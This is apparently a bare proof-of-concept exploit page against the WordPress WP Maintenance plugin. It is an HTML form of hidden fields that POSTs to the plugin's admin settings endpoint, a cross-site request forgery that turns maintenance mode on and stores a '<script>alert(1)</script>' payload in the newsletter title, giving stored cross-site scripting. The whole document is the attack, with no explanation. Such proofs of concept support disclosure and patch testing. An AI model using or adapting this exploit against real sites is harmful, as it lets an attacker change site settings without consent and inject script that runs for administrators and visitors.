<html> <body> <form action="http://URL/wp-admin/admin.php?page=wp-maintenance" method="POST"> <input type="hidden" name="action" value="update_general" /> <input type="hidden" name="wp_maintenance_active" value="1" /> <input type="hidden" name="wp_maintenance_settings[titre_maintenance]" value="Whatever" /> <input type="hidden" name="wp_maintenance_settings[text_maintenance]" value="Come back quickly!" /> <input type="hidden" name="wp_maintenance_settings[text_bt_maintenance]" value="" /> <input type="hidden" name="wp_maintenance_settings[add_wplogin]" value="0" /> <input type="hidden" name="wp_maintenance_settings[add_wplogin_title]" value="" /> <input type="hidden" name="wp_maintenance_settings[enable_seo]" value="0" /> <input type="hidden" name="wp_maintenance_settings[seo_title]" value="" /> <input type="hidden" name="wp_maintenance_settings[seo_description]" value="" /> <input type="hidden" name="wp_maintenance_settings[favicon]" value="" /> <input type="hidden" name="wp_maintenance_settings[code_analytics]" value="" /> <input type="hidden" name="wp_maintenance_settings[domain_analytics]" value="URL" /> <input type="hidden" name="wp_maintenance_social_options[enable]" value="0" /> <input type="hidden" name="wp_maintenance_social_options[texte]" value="" /> <input type="hidden" name="wp_maintenance_socialShare" value="" /> <input type="hidden" name="wp_maintenance_social" value="" /> <input type="hidden" name="wp_maintenance_social[linkedin]" value="" /> <input type="hidden" name="wp_maintenance_social[flickr]" value="" /> <input type="hidden" name="wp_maintenance_social[youtube]" value="" /> <input type="hidden" name="wp_maintenance_social[pinterest]" value="" /> <input type="hidden" name="wp_maintenance_social[vimeo]" value="" /> <input type="hidden" name="wp_maintenance_social[instagram]" value="" /> <input type="hidden" name="wp_maintenance_social[google_plus]" value="" /> <input type="hidden" name="wp_maintenance_social[about_me]" value="" /> <input type="hidden" name="wp_maintenance_social[soundcloud]" value="" /> <input type="hidden" name="wp_maintenance_social[skype]" value="" /> <input type="hidden" name="wp_maintenance_social[tumblr]" value="" /> <input type="hidden" name="wp_maintenance_social[blogger]" value="" /> <input type="hidden" name="wp_maintenance_social[paypal]" value="" /> <input type="hidden" name="wp_maintenance_social_options[size]" value="32" /> <input type="hidden" name="wp_maintenance_social_options[style]" value="style1" /> <input type="hidden" name="wp_maintenance_social_options[position]" value="bottom" /> <input type="hidden" name="wp_maintenance_social_options[align]" value="center" /> <input type="hidden" name="wp_maintenance_social_options[theme]" value="" /> <input type="hidden" name="wp_maintenance_social_options[reset]" value="0" /> <input type="hidden" name="wp_maintenance_settings[newletter]" value="1" /> <input type="hidden" name="wp_maintenance_settings[title_newletter]" value="<script>alert(1)</script>" /> <input type="hidden" name="wp_maintenance_settings[type_newletter]" value="shortcode" /> <input type="hidden" name="wp_maintenance_settings[code_newletter]" value="" /> <input type="hidden" name="wp_maintenance_settings[iframe_newletter]" value="" /> <input type="hidden" name="submit" value="Save Changes" /> <input type="submit" value="Submit request" /> </form> </body> </html>